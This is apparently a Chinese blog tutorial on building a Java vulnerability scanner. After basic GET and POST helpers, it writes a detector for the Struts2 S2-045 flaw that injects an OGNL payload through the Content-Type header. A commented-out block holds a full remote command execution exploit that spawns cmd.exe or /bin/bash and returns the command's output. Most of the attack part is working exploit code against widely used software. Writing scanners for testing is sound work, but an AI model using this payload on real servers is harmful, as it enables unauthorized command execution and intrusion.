首先说明一下我的开发环境: IDEA-2020.1 + Jdk 1.8在Web端下,基本上就是GET/POST请求,大部分漏洞的利用也是如此。将我们手工操作的流程-过程用代码是模拟的过程就是编写漏洞扫描工具。
漏洞扫描工具可以帮助我们减少重复性的手工操作,并且效率极大的提高。人工操作10分钟,电脑零点几秒就可以完成,在对目标非常多的情况下,扫描工具更是必不可缺。但是工具毕竟是工具,它不可能像人脑一样的分析处理判断事物,所以工具会有误报和漏报的情况下。 当然还有一些漏洞甚至是工具无法完成的,比如逻辑漏洞,逻辑漏洞名 “逻辑” 意思就是说开发者思维上的漏洞, 从一个开发者没有没有想到的角度去出发,但是可以做到和正常角度出发达到同样的目的,就是思考上的缺陷。这个智能的过程很明显是工具无法完成,但是要知道从你打开一个链接到接收到响应显示到页面上,中间可能会发生n多个请求。更别说频繁浏览网页的情况下,所以我们仍然可以编写一些针对性的扫描工具,来对请求进行筛选,得到我们最想看到的请求信息。
那接下来我们来看一下如何使用Java写一个GET请求
/** * GET请求 * * @param url 网址 * @return */ public static String getRequest(String url) throws IOException { BufferedReader bd = null; StringBuffer sb = null; try { URL realUrl = new URL(url); // 打开和URL之间的连接 URLConnection connection = realUrl.openConnection(); // 设置通用的请求属性 connection.setRequestProperty("accept", "*/*"); connection.setRequestProperty("connection", "Keep-Alive"); connection.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)"); connection.setConnectTimeout(5000); connection.setReadTimeout(5000); // 建立实际的连接 connection.connect(); // 定义 BufferedReader输入流来读取URL的响应 bd = new BufferedReader(new InputStreamReader(connection.getInputStream())); sb = new StringBuffer(); String line; while ((line = bd.readLine()) != null) { sb.append(line); } bd.close(); } catch (MalformedURLException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } return sb.toString();
我们来看看结果,主函数内使用
System.out.println(getRequest("http://www.wanan.life"));来请求输出。
接下来来到重点POST请求,我们先来看看POST请求有几个参数:
网址--posttarget
请求头--openConnection
POST请求参数--params
public static String postRequest(String posttarget, String params) throws Exception { StringBuilder sb = new StringBuilder(); // 请求的响应内容 BufferedReader bd; PrintWriter out; // 输出流 try { URL url = new URL(posttarget); URLConnection openConnection = url.openConnection(); // 设置请求头 openConnection.setRequestProperty("accept", "*/*"); openConnection.setRequestProperty("connection", "Keep-Alive"); openConnection.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)"); openConnection.setRequestProperty("X-Requested-With","XMLHttpRequest"); openConnection.setRequestProperty("Content-Type","application/x-www-form-urlencoded; charset=UTF-8"); openConnection.setDoInput(true); // 默认为true,可以使用openConnection.getInputStream() 取得响应 openConnection.setDoOutput(true); // 默认为false, 设置为true后可以使用openConnection.getOutputStream() 进行写入数据 out = new PrintWriter(openConnection.getOutputStream()); out.print(params); out.flush(); bd = new BufferedReader(new InputStreamReader(openConnection.getInputStream())); String line = null; while ((line = bd.readLine()) != null) { // System.out.println(line); // 逐行打印请求 sb.append(line + "\r\n"); } } catch (MalformedURLException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } return sb.toString();}
那我们来实验测试一下,先来定义一下posttarget:String posttarget = "http://www.wanan.life/admin";
接着继续请求头:openConnection -->看代码里面的注释,第八行开始然后请求参数params:String params = "name=不可能告诉你用户名的&password=密码更别想&referer=";
好了差不多了解了,那我们就实战写一个案例,开发一个检测Struts2-045命令执行的检测工具,因为是st2-045漏洞是因为使用Jakarta上传文件对Content-Type判断和处理不当引起的,所以漏洞利用的poc是要作用在请求头中的Centent-Type才能生效的。所以我们需要在小小的修改一下post请求。
public static String sendPost(String target, String params,Map<String, String> headers) { StringBuilder responseBody = new StringBuilder(); // 请求的响应内容 BufferedReader reader; PrintWriter out; // 输出流 try { URL url = new URL(target); URLConnection openConnection = url.openConnection(); // 设置请求头 for (Map.Entry<String, String> entry : headers.entrySet()) { openConnection.setRequestProperty(entry.getKey(), entry.getValue()); } openConnection.setDoInput(true); // 默认为true,可以使用openConnection.getInputStream() 取得响应 openConnection.setDoOutput(true); // 默认为false, 设置为true后可以使用openConnection.getOutputStream() 进行写入数据 out = new PrintWriter(openConnection.getOutputStream()); out.print(params); out.flush(); reader = new BufferedReader(new InputStreamReader(openConnection.getInputStream())); String line = null; while ((line = reader.readLine()) != null) { // System.out.println(line); // 逐行打印请求 responseBody.append(line + "\r\n"); } } catch (MalformedURLException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } return responseBody.toString(); }
然后我们开始测试,首先就是先定义payload,这里的payload是使用ognl向页面打印(println)了一个 “wanan”,所以当 “wanan”存在于响应中的情况下,基本上可以判判断存在漏洞!然后就是需要扫描的网址:String target = "";
public static void main(String[] args) throws Exception{ String payload = "%{(#nikenb='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm))))." + "(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println('wanan')).(#o.close())}"; String target = "";//定义自己需要扫描的url Map headers = new HashMap<>(); headers.put("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36"); headers.put("Content-Type", payload); String postResponseBody = sendPost(target, "",headers); if (postResponseBody.contains("wanan")) { System.out.println("[*] 存在 st2-045 漏洞: "+ target); }else { System.out.println("不存在Str2-045漏洞!"); } //执行系统命令exp /* headers.put("Content-Type","%{(#xxx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):" + "((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." + "(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='\"whoami\"')." + "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." + "(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse()." + "getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"); String postResponseBodycmd = sendPost(target,"",headers); System.out.println("系统权限为:" + postResponseBodycmd);*/ }